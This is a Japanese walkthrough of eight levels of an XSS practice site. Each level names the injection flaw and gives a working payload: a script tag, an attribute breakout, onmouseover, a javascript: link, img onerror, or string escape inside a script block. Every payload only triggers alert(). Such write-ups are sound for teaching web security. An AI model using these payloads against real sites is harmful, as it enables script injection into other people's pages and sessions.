xsssample writeup
http://bogus.jp/xsssample/
の wirteup です。
XSSを利用し、js の alert() を呼び出してブラウザにアラートを表示させられればok。
XSS sample Level 1
投稿した内容がエスケープされずに直接表示されている模様。
以下を投稿すればok。
<script>alert('XSS!')</script>
XSS sample Level 2
投稿した値が、input タグの value 属性の値としてエスケープされずに埋め込まれている模様。
そこで、username に以下を投稿する。
"><script>alert('XSS!')</script><img src="http://hoge
こうすることで、投稿後の input タグは以下のようになって、XSSに成功する。
<input name="user" maxlength="10" type="text" value=""><script>alert('XSS!');</script><img src="http://hoge">
XSS sample Level 3
Level 2 との違いは、input に文字制限が設定されていること。
form タグの内容を見ると、投稿された内容は GET リクエストで自身のurlに帰ってくることがわかる。
そこで、文字数制限を回避するために、formから文字列を投稿するのではなく直接GETのurlを叩く。
http://bogus.jp/xsssample/xsssample_03_J4Skr.php?user="><script>alert('XSS!');</script>
XSS sample Level 4
この問題では input タグの value に scipt タグを書き込もうとしても、以下のようにちゃんとエスケープされてしまう。
<input name="user" type="text" value="" ><script>alert('xss!')<="" script>"="">
ということでこの問題では、 script タグではなく onmouseover 属性にスクリプトを仕込む。
以下の内容を username に投稿する。
" onmouseover="alert('XSS!');
すると、投稿後の input タグは以下のようになり、XSSが成功する。
<input name="user" maxlength="10" type="text" value="" onmouseover="alert('XSS!');">
ちなみに、 Chrome だと XSS が検知されてページがブロックされてしまう。
FireFox で試したら無事表示できた。
XSS sample Level 5
文字数制限のあるフォームが与えられる。
投稿した文字列は POST で送信され、エスケープされずにそのまま表示される。
したがって、 POSTでスクリプトタグを含む文字列を送信すればいいが、文字数制限があるのでこのままではフォームからは投稿できない。
今回は、 Chrome の Elements タブで input タグを編集して文字数制限を外した上で、スクリプトタグの文字列を投稿した。
<script>alert('XSS!');</script>
XSS sample Level 6
フォームに投稿した文字列が a タグの href の内容となる問題。ただし、ダブルクオートはちゃんとエスケープされてしまうので、 "><script>...
などを投稿してもムリ。
href の値には、 url 以外にも mailto:...
ftp:...
file:...
javascript:...
などを設定することができる。 javascript:...
とすると、クリック時にスクリプトを実行させることができる。
したがって今回は、以下の内容を登録すればいい。
javascript:alert('XSS!');
XSS sample Level 7
どうやら、 script タグを含む文字列を投稿されると script タグを取り除くような処理が行われている模様。しかし、 script タグ以外を投稿するとエスケープされずに表示されるので、 script タグを使わずに XSS する。これにはいろいろな方法がある。以下は img タグの onerror 属性を使う場合の例。
<img src="" onerror="alert('XSS!');">
XSS sample Level 8
フォームを通して script タグ内に書き込むことができる。
<script>
function hello(){
document.write ('<ここにフォームで投稿した内容が来る>'+"さん");
}
</script>
特にエスケープ処理はされていないようなので、以下の内容を投稿すればok。
' + alert('XSS!'));//